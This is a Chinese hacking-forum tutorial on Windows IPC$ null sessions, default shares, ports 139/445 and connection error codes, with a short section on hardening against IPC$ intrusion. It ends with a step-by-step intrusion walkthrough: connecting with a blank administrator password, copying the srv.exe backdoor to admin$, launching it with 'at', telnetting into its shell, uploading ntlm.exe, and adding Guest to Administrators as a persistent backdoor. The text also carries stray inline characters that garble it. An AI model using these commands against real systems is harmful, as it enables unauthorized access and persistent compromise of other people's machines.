對于第一次接觸ipc$的菜鳥(niǎo)來(lái)說(shuō),簡(jiǎn)單的羅列步驟并不能解答他們的許多迷惑(你隨便找一個(gè)hack
論壇搜一下ipc,看存在的疑惑有多少).
因此我寫(xiě)了這篇相當于解惑的教程.想把一些容易混淆,容易迷惑人的問(wèn)題說(shuō)清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問(wèn),請馬上回復!
二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說(shuō)的)，它是為了讓進(jìn)程間通信而開(kāi)放的命名管道，可以通過(guò)驗證用戶(hù)名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時(shí)使用。
利用IPC$,連接者甚至可以與目標主機建立一個(gè)空的連接而無(wú)需用戶(hù)名與密碼(當然,對方機器必須開(kāi)了ipc$共享,否則你是連接不上的)，而利用這個(gè)空的連接，連接者還可以得到目標主機上的用戶(hù)列表(不過(guò)負責的管理員會(huì )禁止導出用戶(hù)列表的)。
我們總在說(shuō)ipc$漏洞ipc$漏洞,其實(shí),ipc$并不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開(kāi)放的遠程網(wǎng)絡(luò )登陸功能,而且還打開(kāi)了默認共享,即所有的邏輯盤(pán)(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷并不一定有好的收效,一些別有用心者(到底是什么用心?我也不知道,代詞一個(gè))會(huì )利用IPC$，訪(fǎng)問(wèn)共享資源,導出用戶(hù)列表,并使用一些字典工具，進(jìn)行密碼探測,寄希望于獲得更高的權限,從而達到不可告人的目的.
解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網(wǎng)絡(luò )登陸功能，其功能相當于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函數，所以不能在Windows 9.x中運行。
也就是說(shuō)只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說(shuō)在98下能建立空的連接,不知道是真是假,不過(guò)現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關(guān)閉了ipc$共享,你仍然無(wú)法建立連接
3)并不是說(shuō)建立了ipc$連接就可以查看對方的用戶(hù)列表,因為管理員可以禁止導出用戶(hù)列表
三 建立ipc$連接在hack攻擊中的作用
就像上面所說(shuō)的,即使你建立了一個(gè)空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪(fǎng)問(wèn)部分共享,如果你能夠以某一個(gè)具有一定權限的用戶(hù)身份登陸的話(huà),那么你就會(huì )得到相應的權限,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說(shuō)了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進(jìn)程和服務(wù),上傳木馬并運行,如果是2000server，還可以考慮開(kāi)啟終端服務(wù)方便控制.怎么樣?夠厲害吧!)
不過(guò)你也不要高興的太早,因為管理員的密碼不是那么好搞到的,雖然會(huì )有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著(zhù)人們
安全意識的提高,管理員們也愈加小心了,得到管理員密碼會(huì )越來(lái)越難的
因此今后你最大的可能就是以極小的權限甚至是沒(méi)有權限進(jìn)行連接,你會(huì )慢慢的發(fā)現ipc$連接并不是萬(wàn)能的,甚至在主機不開(kāi)啟ipc$共享時(shí),你根本就無(wú)法連接.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無(wú)不勝,它就像是足球場(chǎng)上射門(mén)前的傳球,很少會(huì )有致命一擊的效果,但卻是不可缺少的,我覺(jué)得這才是ipc$連接在hack入侵中的意義所在.
四 ipc$與空連接,139,445端口,默認共享的關(guān)系
以上四者的關(guān)系可能是菜鳥(niǎo)很困惑的一個(gè)問(wèn)題,不過(guò)大部分
文章都沒(méi)有進(jìn)行特別的說(shuō)明,其實(shí)我理解的也不是很透徹,都是在與大家交流中總結出來(lái)的.(一個(gè)有良好討論氛圍的BBS可以說(shuō)是菜鳥(niǎo)的天堂)
1)ipc$與空連接:
不需要用戶(hù)名與密碼的ipc$連接即為空連接,一旦你以某個(gè)用戶(hù)或管理員的身份登陸(即以特定的用戶(hù)名和密碼進(jìn)行ipc$連接),自然就不能叫做空連接了.
許多人可能要問(wèn)了,既然可以空連接,那我以后就空連接好了,為什么還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過(guò),當你以空連接登陸時(shí),你沒(méi)有任何權限(很郁悶吧),而你以用戶(hù)或管理員的身份登陸時(shí),你就會(huì )有相應的權限(有權限誰(shuí)不想呀,所以還是老老實(shí)實(shí)掃吧,不要偷懶喲).
2)ipc$與139,445端口:
ipc$連接可以實(shí)現遠程登陸及對默認共享的訪(fǎng)問(wèn);而139端口的開(kāi)啟表示netbios協(xié)議的應用,我們可以通過(guò)139,445(win2000)端口實(shí)現對共享文件/打印機的訪(fǎng)問(wèn),因此一般來(lái)講,ipc$連接是需要139或445端口來(lái)支持的.
3)ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開(kāi)啟的共享(你當然可以關(guān)閉它),即所有的邏輯盤(pán)(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過(guò)ipc$連接可以實(shí)現對這些默認共享的訪(fǎng)問(wèn)(前提是對方?jīng)]有關(guān)閉這些默認共享)
五 ipc$連接失敗的原因
以下5個(gè)原因是比較常見(jiàn)的:
1)你的系統不是NT或以上操作系統;
2)對方?jīng)]有打開(kāi)ipc$默認共享
3)對方未開(kāi)啟139或445端口(惑被
防火墻屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶(hù)名或密碼錯誤(空連接當然無(wú)所謂了)
另外,你也可以根據返回的錯誤號分析原因：
錯誤號5，拒絕訪(fǎng)問(wèn) ： 很可能你使用的用戶(hù)不是管理員權限的，先提升權限；
錯誤號51，Windows 無(wú)法找到網(wǎng)絡(luò )路徑 : 網(wǎng)絡(luò )有問(wèn)題；
錯誤號53，找不到網(wǎng)絡(luò )路徑 ： ip地址錯誤；目標未開(kāi)機；目標lanmanserver服務(wù)未啟動(dòng)；目標有
防火墻（端口過(guò)濾）；
錯誤號67，找不到網(wǎng)絡(luò )名 ： 你的lanmanworkstation服務(wù)未啟動(dòng)；目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 你已經(jīng)和對方建立了一個(gè)ipc$，請刪除再連。
錯誤號1326，未知的用戶(hù)名或錯誤密碼 ： 原因很明顯了；
錯誤號1792，試圖登錄，但是網(wǎng)絡(luò )登錄服務(wù)沒(méi)有啟動(dòng) ： 目標NetLogon服務(wù)未啟動(dòng)。（連接域控會(huì )出現此情況）
錯誤號2242，此用戶(hù)的密碼已經(jīng)過(guò)期 ： 目標有賬號策略，強制定期要求更改密碼。
關(guān)于ipc$連不上的問(wèn)題比較復雜，除了以上的原因,還會(huì )有其他一些不確定因素,在此本人無(wú)法詳細而確定的說(shuō)明,就靠大家自己體會(huì )和試驗了.
六 如何打開(kāi)目標的IPC$(此段引自相關(guān)
文章)
首先你需要獲得一個(gè)不依賴(lài)于ipc$的shell，比如sql的cmd擴展、telnet、木馬,當然，這shell必須是admin權限的,然后你可以使用shell執行命令 net share ipc$ 來(lái)開(kāi)放目標的ipc$。從上面可以知道，ipc$能否使用還有很多條件。請確認相關(guān)服務(wù)都已運行，沒(méi)有就啟動(dòng)它（不知道怎么做的請看net命令的用法）,還是不行的話(huà)（比如有
防火墻，殺不了）建議放棄。
七 如何防范ipc$入侵
1禁止空連接進(jìn)行枚舉(此操作并不能阻止空連接的建立,引自《解剖win2000下的空會(huì )話(huà)》)
首先運行regedit，找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為：00000001(如果設置為2的話(huà),有一些問(wèn)題會(huì )發(fā)生,比如一些WIN的服務(wù)出現問(wèn)題等等)
2禁止默認共享
1）察看本地共享資源
運行-cmd-輸入net share
2）刪除共享(每次輸入一個(gè)）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以繼續刪除）
3）停止server服務(wù)
net stop server /y （重新啟動(dòng)后server服務(wù)會(huì )重新開(kāi)啟）
4）修改注冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的鍵值改為:00000000。
如果上面所說(shuō)的主鍵不存在，就新建(右擊-新建-雙字節值）一個(gè)主健再改鍵值。
3永久關(guān)閉ipc$和默認共享依賴(lài)的服務(wù):lanmanserver即server服務(wù)
控制面板-管理工具-服務(wù)-找到server服務(wù)（右擊）-屬性-常規-啟動(dòng)類(lèi)型-已禁用
4安裝
防火墻(選中相關(guān)設置)，或者端口過(guò)濾(濾掉139,445等),或者用新版本的優(yōu)化大師
5設置復雜密碼，防止通過(guò)ipc$窮舉密碼
八 相關(guān)命令
1)建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個(gè)空格)
2)建立非空連接:
net use \\IP\ipc$ "用戶(hù)名" /user:"密碼" (同樣有3個(gè)空格)
3)映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶(hù)名" (即可將對方的c盤(pán)映射為自己的z盤(pán)，其他盤(pán)類(lèi)推)
如果已經(jīng)和目標建立了ipc$，則可以直接用IP+盤(pán)符+$訪(fǎng)問(wèn),具體命令 net use z: \\IP\c$
4)刪除一個(gè)ipc$連接
net use \\IP\ipc$ /del
5)刪除共享映射
net use c: /del 刪除映射的c盤(pán)，其他盤(pán)類(lèi)推
net use * /del 刪除全部,會(huì )有提示要求按y確認
九 經(jīng)典入侵模式
這個(gè)入侵模式太經(jīng)典了,大部分ipc教程都有介紹,我也就拿過(guò)來(lái)引用了,在此感謝原創(chuàng )作者!(不知道是哪位前輩)
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶(hù)名是administrators，密碼為"空"的IP地址(空口令?哇,運氣好到家了)，如果是打算攻擊的話(huà)，就可以用這樣的命令來(lái)與127.0.0.1建立一個(gè)連接，因為密碼為"空"，所以第一個(gè)引號處就不用輸入，后面一個(gè)雙引號里的是用戶(hù)名，輸入administrators，命令即可成功完成。
2. C:\>copy srv.exe \\127.0.0.1\admin$
先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶(hù)的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤(pán)與D盤(pán)，這看你要復制到什么地方去了）。
3. C:\>net time \\127.0.0.1
查查時(shí)間，發(fā)現127.0.0.1 的當前時(shí)間是 2002/3/19 上午 11:00，命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動(dòng)srv.exe吧（這里設置的時(shí)間要比主機時(shí)間快，不然你怎么啟動(dòng)啊，呵呵?。?
5. C:\>net time \\127.0.0.1
再查查到時(shí)間沒(méi)有？如果127.0.0.1 的當前時(shí)間是 2002/3/19 上午 11:05，那就準備開(kāi)始下面的命令。
6. C:\>telnet 127.0.0.1 99
這里會(huì )用到Telnet命令吧，注意端口是99。Telnet默認的是23端口，但是我們使用的是SRV在對方計算機中為我們建立一個(gè)99端口的Shell。
雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打算建立一個(gè)Telnet服務(wù)！這就要用到ntlm了
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動(dòng)（這里的C:\WINNT\system32>指的是對方計算機，運行ntlm其實(shí)是讓這個(gè)程序在對方計算機上運行）。當出現"DONE"的時(shí)候，就說(shuō)明已經(jīng)啟動(dòng)正常。然后使用"net start telnet"來(lái)開(kāi)啟Telnet服務(wù)！
9. Telnet 127.0.0.1，接著(zhù)輸入用戶(hù)名與密碼就進(jìn)入對方了，操作就像在DOS上操作一樣簡(jiǎn)單！(然后你想做什么?想做什么就做什么吧,哈哈)
為了以防萬(wàn)一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶(hù)激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變?yōu)锳dministrator^_^(如果管理員密碼更改，guest賬號沒(méi)改變的話(huà)，下次我們可以用guest再次訪(fǎng)問(wèn)這臺計算機)
